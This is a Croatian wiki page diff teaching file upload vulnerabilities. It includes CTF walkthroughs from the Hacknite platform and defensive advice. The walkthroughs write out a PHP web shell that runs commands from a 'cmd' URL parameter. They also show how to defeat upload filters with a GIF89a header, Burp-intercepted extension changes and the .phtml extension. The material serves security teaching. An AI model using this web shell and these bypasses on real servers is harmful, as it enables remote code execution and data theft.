User Tools

Site Tools


file_upload

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revisionPrevious revision
Next revision
Previous revision
file_upload [2023/11/30 10:37] zrinkafile_upload [2025/12/01 11:40] (current) – external edit 127.0.0.1
Line 1: Line 1:
-**File upload ranjivosti** odnose se na napade koji se izvršavaju postavljanjem (//uploadom//) maliciozne datoteke na poslužitelj. Svaki korisnički unos treba biti pročišćen prije procesiranja. U slučaju kad se prima samo tekst, napadač može pokušati upisati neku malicioznu naredbu i tada se javljaju ranjivosti poput [[sql_injection|SQL injectiona]] ili [[ssti|SSTI-ja]]. Zadaća je sustava da prepozna pokušaj unosa naredbe i da spriječi njezino izvođenje.+==== File upload ====
  
-Web aplikacije često dozvoljavaju i prijenos datoteka na poslužitelj (fotografija, dokumenata i slično)U tom slučaju napadač možmanipulirati datotekom koju prenosi na poslužitelj i napraviti štetuNajjednostavniji je slučaj u aplikacijama koje nemaju popis dozvoljenih ekstenzija, već prihvaćaju datoteke svih formata. Tada je moguće jednostavno objaviti .php.py ili bilo koju datoteku koja se može izvršiti kao programski kôdUspješan prijenos takve datoteke nije uvijek dovoljan da bi se kôd izvršio, već je potrebno da poslužitelj bude konfiguriran tako da zaista izvede taj kôd+**File upload ranjivosti** odnose se na napade koji se izvršavaju postavljanjem (//uploadom//) maliciozne datoteke na poslužitelj. Svaki korisnički unos treba biti pročišćen prije nego što dođdo poslužiteljaslučaju kad se prima samo tekstnapadač može pokušati upisati neku malicioznu naredbu i tada se javljaju ranjivosti poput [[sql_injection|SQL injectiona]] ili [[ssti|SSTI-ja]]Zadaća je sustava da prepozna pokušaj unosa naredbe spriječi njezino izvođenje.
  
-**__PRIMJER__ - Zadatak s Hacknite platforme - Posluživanje datoteka**+Kod web aplikacije koje dozvoljavaju prijenos datoteka na poslužitelj (fotografija, dokumenata i slično) napadač može iskoristiti prostor za unos datoteke da pošalje neku malicioznu datoteku na poslužitelj.  Najjednostavniji je slučaj u aplikacijama koje nemaju popis dozvoljenih ekstenzija, već prihvaćaju datoteke svih formata. Tada je moguće jednostavno objaviti .php, .py ili bilo koju datoteku koja se može izvršiti kao programski kôd. Uspješan prijenos takve datoteke nije uvijek dovoljan, već je potrebno i da poslužitelj bude konfiguriran tako da zaista izvede taj kôd.  
 +\\ 
 +\\ 
 +\\ 
 +**__PRIMJER__ - Zadatak s Hacknite platforme - Posluživanje datoteka** 
 <file> <file>
 Ivica je zaključio da je jedna od ključnih vještina koje treba vježbati rad s datotekama kroz web  Ivica je zaključio da je jedna od ključnih vještina koje treba vježbati rad s datotekama kroz web 
Line 19: Line 23:
 </file> </file>
  
-Budući da u zadatku nije navedeno, aplikacija vjerojatno ne provjerava ekstenzije datoteka koje se objavljuju. Pokušajmo za početak objaviti .php datoteku. Napravimo datoteku test.php datoteku i upišimo u nju:+Budući da u zadatku nije navedeno, aplikacija vjerojatno ne provjerava ekstenzije datoteka koje se objavljuju. Pokušajmo za početak objaviti .php datoteku. Napravimo datoteku test.php datoteku s ovim sadržajem:
 <code><?php echo "Hello world!" ?></code> <code><?php echo "Hello world!" ?></code>
- +Zatim odaberimo u navigaciji "Datoteke" i postavimo svoju datotekuPostavljanje je uspjelo, dakle ne postoji nikakva provjera formata datoteke. Još treba provjeriti je li se kôd izvršio jer je moguće da poslužitelj ne prepoznaje ekstenziju .php. Po uspješnom postavljanju datoteke, stranica nas obavještava gdje je datoteka postavljena. Ako pratimo tu poveznicu, vidjet ćemo sljedeće: 
-Zatim odaberimo u navigaciji "Datoteke" i postavimo ju tamoVidimo da nam je uspjelo, no još treba provjeriti je li se kôd izvršio. Po uspješnom postavljanju datoteke, stranica nas obavještava gdje je datoteka postavljena. Ako pratimo tu poveznicu, vidjet ćemo sljedeće: +
  
 {{ :file-upload1.png?600 |}} {{ :file-upload1.png?600 |}}
  
-Dakle, kôd se izvršio. Sad napravimo svoj web shell koji ćemo postaviti na poslužitelj. Napravit ćemo ga na način da primamo podatke preko //cmd// parametra tako što ćemo u datoteku koju postavljamo upisati+Dakle, kôd se izvršio. Sad napravimo svoju php ljusku koju ćemo postaviti na poslužitelj. Napravit ćemo ju tako da prima podatke preko //cmd// parametra URL-a. Datoteka izgleda ovako
 <code><?php system($_GET['cmd']); ?></code> <code><?php system($_GET['cmd']); ?></code>
- 
 Nakon što ju postavimo, otiđimo na link i dodajmo //cmd// parametar. Prvo želimo saznati u kojem smo trenutno direktoriju i za to ćemo iskoristiti naredbu **pwd** (//print working directory//): Nakon što ju postavimo, otiđimo na link i dodajmo //cmd// parametar. Prvo želimo saznati u kojem smo trenutno direktoriju i za to ćemo iskoristiti naredbu **pwd** (//print working directory//):
 <code>[link_datoteke]?cmd=pwd</code> <code>[link_datoteke]?cmd=pwd</code>
- +Dobili smo ispis **/var/www/html/uploads**. Krenimo s od najvišeg direktorija i izlistajmo njegov sadržaj. Za to ćemo iskoristiti naredbu **ls** (//list//). Dodajmo ovu naredbu u //cmd// parametar:
-Dobili smo ispis **/var/www/html/uploads**. Krenimo s od najvišeg direktorija i ispišimo njegov sadržaj. Za to ćemo iskoristiti naredbu **ls** (//list//).+
 <code>ls /var/</code> <code>ls /var/</code>
- 
 Nismo dobili ništa zanimljivo. Pomaknimo se bliže radnom direktoriju:  Nismo dobili ništa zanimljivo. Pomaknimo se bliže radnom direktoriju: 
 <code> ls /var/www </code> <code> ls /var/www </code>
- 
 Vidimo da postoji nešto što se zove "flag". Pokušajmo to ispisati. Za to ćemo iskoristiti naredbu **cat** (//concatenate//):  Vidimo da postoji nešto što se zove "flag". Pokušajmo to ispisati. Za to ćemo iskoristiti naredbu **cat** (//concatenate//): 
 <code>cat /var/www/flag </code> <code>cat /var/www/flag </code>
Line 44: Line 43:
  
 {{ :file-upload1-rj.png?600 |}} {{ :file-upload1-rj.png?600 |}}
 +\\
 +\\
 +\\
 +Također, ako aplikacija nema provjeru naziva datoteke koja se postavlja, napadač može objaviti datoteku istog naziva kao neka datoteka kritična za rad sustava i na taj način ju prebrisati. U još ekstremnijem slučaju napadač može u naziv datoteke ubaciti sekvencu za pomicanje po direktorijima ("..") i objaviti datoteke na lokacije kojima ne bi smio imati pristup. Zato je dobra praksa da sustav sâm dodijeli ime datoteci koja se postavlja. Vrlo je važno imati i provjeru veličine datoteke. Prevelika datoteka može izazvati tzv. //Denial-of-Service// (DoS) napad koji izaziva preopterećenje sustava i onemogućuje njegov rad.
  
- +Ponekad aplikacije imaju validaciju datoteka, ali ona ne bude dobro provedena. Ako sustav ima listu ekstenzija koje smatra opasnima, to nije uvijek dovoljna zaštita jer je moguće da se neki opasan format zaboravi dodati na listu. Isto takomogućje da se ekstenzija modificira tako da ju sustav ne prepozna kao jednu od zabranjenih.  Na primjer, ako zabranimo .php datoteke, moguće je da netko pošalje .php5, .pHp  ili čak dvostruku ekstenziju (datoteka.jpg.php). Nekad je dovoljno nakon ekstenzije dodati točku, razmak ili nešto slično. Bolja je opcija dozvoliti samo one formate koji su ključni za rad aplikacijea sve ostale zabranitiBitno je da se provjera izvršava na poslužiteljskoj strani.  
- +\\ 
-Također, ako aplikacija nema provjeru naziva datoteke koja se postavlja, napadač može objaviti datoteku istog naziva kao neka datoteka kritična za rad sustava i na taj način ju prebrisati. U još ekstremnijem slučaju napadač može u naziv datoteke ubaciti sekvencu za pomicanje po direktorijima (..) i na taj način objaviti datoteke na lokacije kojima ne bi smio imati pristup. Dobra je praksa da sustav sâm dodijeli ime datoteci koja se postavlja. Vrlo je važno imati i provjeru veličine datoteke. Prevelika datoteka može izazvati tzv. //Denial of service// (DoS) napad koji izaziva preopterećenje sustava i onemogućuje njegov rad. +\\ 
- +\\
-Ponekad aplikacije imaju validaciju datoteka, ali ona ne bude dobro provedena. Ako sustav ima listu ekstenzija koje smatra opasnima, to nije uvijek dovoljna zaštita jer je uvijek moguće da se neki opasan format zaboravi dodati na listu. Bolja je opcija dozvoliti samo određene formate datoteka i to one koji su ključni za rad aplikacijea sve ostale zabraniti. Doduše, nije ni to uvijek dovoljno.  Na primjer, ako zabranimo .php datoteke, moguće je da netko pošalje .php5, .pHp datoteku ili čak da datoteka ima dvostruku ekstenziju (datoteka.php.jpg). Nekad je dovoljno nakon ekstenzije dodati točku, razmak ili nešto slično. Takođermože se koristiti URL encodingDatoteka se može nazvati "datoteka%2Ephp". Preglednik će "%2E" interpretirati kao točku, dakle "%2Ephp" će biti ".php". Uobičajena provjera ekstenzije neće ju detektirati jer programi za parsiranje imena datoteke redovito traže prvu pojavu točke i sve nakon nje interpretiraju kao ekstenziju. Program koji parsira ime datoteke neće prepoznati točku, dakle  neće ni pronaći ekstenziju.  +
- +
 **__PRIMJER__ - Zadatak s Hacknite platforme - Učitavanje slike.php** **__PRIMJER__ - Zadatak s Hacknite platforme - Učitavanje slike.php**
 <file> <file>
Line 66: Line 67:
 Pokušajmo jednostavno postaviti .php datoteku kao u prethodnom zadatku.  Pokušajmo jednostavno postaviti .php datoteku kao u prethodnom zadatku. 
  
-{{ :upload2.png?600 |}}+{{ :upload20.png?600 |}}
  
-Vidimo da nam to ne uspijeva jer dobivamo obavijest da datoteka nije slika. Dakle, sigurni smo da se radi provjera ekstenzije s klijentske (//frontend//) strane. Da bismo zadovoljili tu provjeru, preimenujmo datoteku tako da završava s .jpg ekstenzijom. Datoteka se uspješno poslala i dobili smo poveznicu na kojoj se nalazi. Pratimo tu poveznicu i pokušajmo na isti način kao i prije dodati parametar cmd u koji ćemo unijeti neku naredbu (primjerice pwd).+Vidimo da nam to ne uspijeva jer dobivamo obavijest da datoteka nije slika. Dakle, sigurni smo da se radi provjera ekstenzije s klijentske (//frontend//) strane. Da bismo zadovoljili tu provjeru, promijenimo ekstenziju datoteke u .jpg. Datoteka se uspješno poslala i dobili smo poveznicu na kojoj se nalazi. Pratimo tu poveznicu i pokušajmo na isti način kao i prije dodati parametar cmd u koji ćemo unijeti neku naredbu (primjerice **pwd**).
  
 {{ :upload22.png?600 |}} {{ :upload22.png?600 |}}
Line 82: Line 83:
 <code>ls /var</code> <code>ls /var</code>
 Bolja je opcija napisati "ls%20/var", no sustav će sam napraviti URL encoding. Bolja je opcija napisati "ls%20/var", no sustav će sam napraviti URL encoding.
-Dobili smo \\+Dobili smo ispis:\\
 **backups cache important-do-not-touch lib local lock log mail opt run spool tmp www** **backups cache important-do-not-touch lib local lock log mail opt run spool tmp www**
  
 Najzanimljivije nam djeluje **important-do-not-touch** pa ćemo izlistati njegov sadržaj. Napišimo u //cmd// parametar: Najzanimljivije nam djeluje **important-do-not-touch** pa ćemo izlistati njegov sadržaj. Napišimo u //cmd// parametar:
 <code>ls /var/important-do-not-touch"</code> <code>ls /var/important-do-not-touch"</code>
-Dobili smo **admin-forbidden local**.+rezultira s:  **admin-forbidden local**.
  
 **admin-forbidden** djeluje kao da bi mogao imati nešto zanimljivo u sebi. Izlistajmo i njegov sadržaj: **admin-forbidden** djeluje kao da bi mogao imati nešto zanimljivo u sebi. Izlistajmo i njegov sadržaj:
 <code>cmd=ls /var/important-do-not-touch/admin-forbidden"</code> <code>cmd=ls /var/important-do-not-touch/admin-forbidden"</code>
  
-Pojavio se "definitely-not-flag". Pokušajmo ispisati njegov sadržaj. Dobili smo  neobičan ispis (putanju na kojoj se trenutno dolazimo), dakle u pitanju nije direktorij, već datoteka. Ispišimo njezin sadržaj naredbom +Pojavio se **definitely-not-flag**. Pokušajmo izlistati njegov sadržaj. Dobili smo  neobičan ispis (putanju na kojoj se trenutno dolazimo), dakle u pitanju nije direktorij, već datoteka. Ispišimo njezin sadržaj naredbom 
 <code>cat /var/important-do-not-touch/admin-forbidden/definitely-not-flag</code> <code>cat /var/important-do-not-touch/admin-forbidden/definitely-not-flag</code>
 i dobili smo rješenje.  i dobili smo rješenje. 
- +\\ 
-Kao što sto vidjeli u prethodnom zadatku, nije dovoljno da se provjera formata temelji isključivo na zaglavljima zahtjeva (primjerice //Content-Type//jer se mogu jednostavno promijeniti koristeći neki alat za presretanje zahtjeva. Trebalo bi još utvrditi i da sadržaj datoteke zaista odgovara tom formatu. Na primjer, ako aplikacija prima fotografije, svim bi datotekama prije postavljanja trebalo odrediti neke osobine koje imaju samo fotografije (dimenzija, rezolucija). Ako se pošalje neka skripta, njoj se te osobine ne mogu odrediti, dakle sustav može prepoznati da nije riječ o fotografiji i odbaciti ju. Naravno, važno je da se pritom datoteka ne otvara jer bi to moglo potaknuti izvršavanje kôda.  +\\ 
- +\\ 
 +Kao što sto vidjeli u prethodnom zadatku, nije dovoljno da se provjera formata temelji isključivo na zaglavljima zahtjeva jer se njihove vrijednosti mogu jednostavno promijeniti koristeći neki alat za presretanje zahtjeva. Trebalo bi još utvrditi i da sadržaj datoteke zaista odgovara tom formatu. Na primjer, ako aplikacija prima fotografije, svim bi datotekama prije postavljanja trebalo odrediti neke osobine koje imaju samo fotografije (dimenzija, rezolucija). Ako se pošalje neka skripta, njoj se te osobine ne mogu odrediti, dakle sustav može prepoznati da nije riječ o fotografiji i odbaciti ju. Naravno, važno je da se pritom datoteka ne otvara jer bi to moglo potaknuti izvršavanje kôda.  
 +\\ 
 +\\ 
 +\\
 **__PRIMJER__ - Zadatak s Hacknite platforme - Posluživanje slika** **__PRIMJER__ - Zadatak s Hacknite platforme - Posluživanje slika**
 <file> <file>
Line 115: Line 119:
 </file> </file>
  
-Pokušajmo na isti način objaviti datoteku. Sad primjećujemo razliku jer se .php datoteka ni ne nudi za postavljanje. To znači da stranica provjerava koji se formati objavljuju, dakle moramo nekako sakriti format datotekePokušajmo na kraj dodati .jpgSad će se datoteka pojaviti izboruMeđutim, sustav i dalje ne dozvoljava postavljanje datoteke jer prepoznaje da nije slika.+Pokušajmo na isti način postaviti datoteku. Napravimo php shell kao prije: 
 +<code><?php system($_GET['cmd']); ?></code> 
 +te ga preimenujmo tako da ima ekstenziju .jpg na krajuUključimo //Intercept// na Burpu i postavimo datotekuPresretnimo zahtjev i promijenimo ekstenziju u .php isto kao u prethodnom zadatku.
  
-Dakle, sama promjena ekstenzije nije dovoljna, već moramo na još neki način uvjeriti poslužitelj da pokušavamo postaviti fotografiju.+{{ :upload31.png?600 |}}
  
-== TODO: dodati ostatak == +Vidimo drugačije upozorenje. To je zato štoza razliku od prethodnih slučajevasustav radi još jednu provjeru na poslužiteljskoj (//backend//) strani. Dakle, moramo na neki način promijeniti samu datoteku da izgleda kao da je slikaSlike uobičajeno počinju s "GIF89a;" pa ćemo točno to dodati na početak datoteke. Datoteka sad izgleda ovako:  
-Budući da je gotovo nemoguće pokriti sve načine na koje se može zaobići validacija datoteke, potrebno je konfigurirati poslužitelj tako da seako do njega slučajno dođe izvršivi programski kôdspriječi njegovo izvršavanje. Dodatna mjera zaštite je onemogućiti postavljanje datoteke prije nego što prođe sve provjere. Neki sustavi koriste odvojeno privremeno spremište (tzv. //sandbox//) u koji stave datoteku i od tamo ju provjeravajuNekad je bila praksa postaviti datoteku na poslužitelj i obrisati ju ako se ispostavi da je maliciozna, no pokazano je da je čak nekoliko milisekundi dovoljno da bi se pokrenulo izvršavanje kôda.+<code> 
 +GIF89a; 
 +<?php system($_GET['cmd']); ?> 
 +</code> 
 +Sad ju pošaljimo na poslužitelj i zasad nemojmo mijenjati ekstenziju u zahtjevu.
  
 +{{ :upload32.png?600 |}}
  
 +Datoteka je uspješno postavljena jer zadovoljava klijentsku provjeru, no ne možemo slati nikakve naredbe jer ju sustav interpretira kao fotografiju. Pošaljimo ponovno zahtjev, ali ga presretnimo i promijenimo ekstenziju u .php. Dobivamo identično upozorenje jer sustav prepoznaje neslaganje s formatom datoteke koji se odredi prema početku (GIF89a;), ekstenzijom i zadanim tipom datoteke u //Content-Type// zaglavlju. Zadnje što još trebamo napraviti je iskoristiti neku alternativnu ekstenziju. Uzmimo primjerice **.phtml**. 
 +Naime, za svaki poslužitelj treba konfigurirati točno koje će ekstenzije kad ih se posjeti izvršiti neki programski kôd, a koje ne. Zato se naša .jpg datoteka neće izvršiti (iako su istog sadržaja kao i kad joj promijenimo ekstenziju u .php ). No, mnogi su poslužitelji konfigurirani tako da .phtml datoteke tretiraju kao .php. Vidjeli smo da je .php zabranjen pa je .phtml dobar kandidat za alternativnu ekstenziju. Budući da .phtml nije ekstenzija za fotografije, moramo poslati .jpg fotografiju, presresti zahtjev i zatim promijeniti ekstenziju u .phtml.
  
 +{{ :upload33.png?600 |}}
  
 +Sad smo dobili uobičajeno upozorenje. Postupak je isti kao i prije te se flag nalazi na putanji **/var/www/flag**. Ispišimo njegovu vrijednost preko //cmd// parametra i dobili smo rješenje.
 +\\
 +\\
 +\\
 ===Izvori=== ===Izvori===
-[1]https://portswigger.net/web-security/file-upload\\+[1] https://portswigger.net/web-security/file-upload\\
 [2] https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload\\ [2] https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload\\
 +[3] https://platforma.hacknite.hr/\\
file_upload.1701340629.txt.gz · Last modified: 2025/12/01 11:40 (external edit)

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki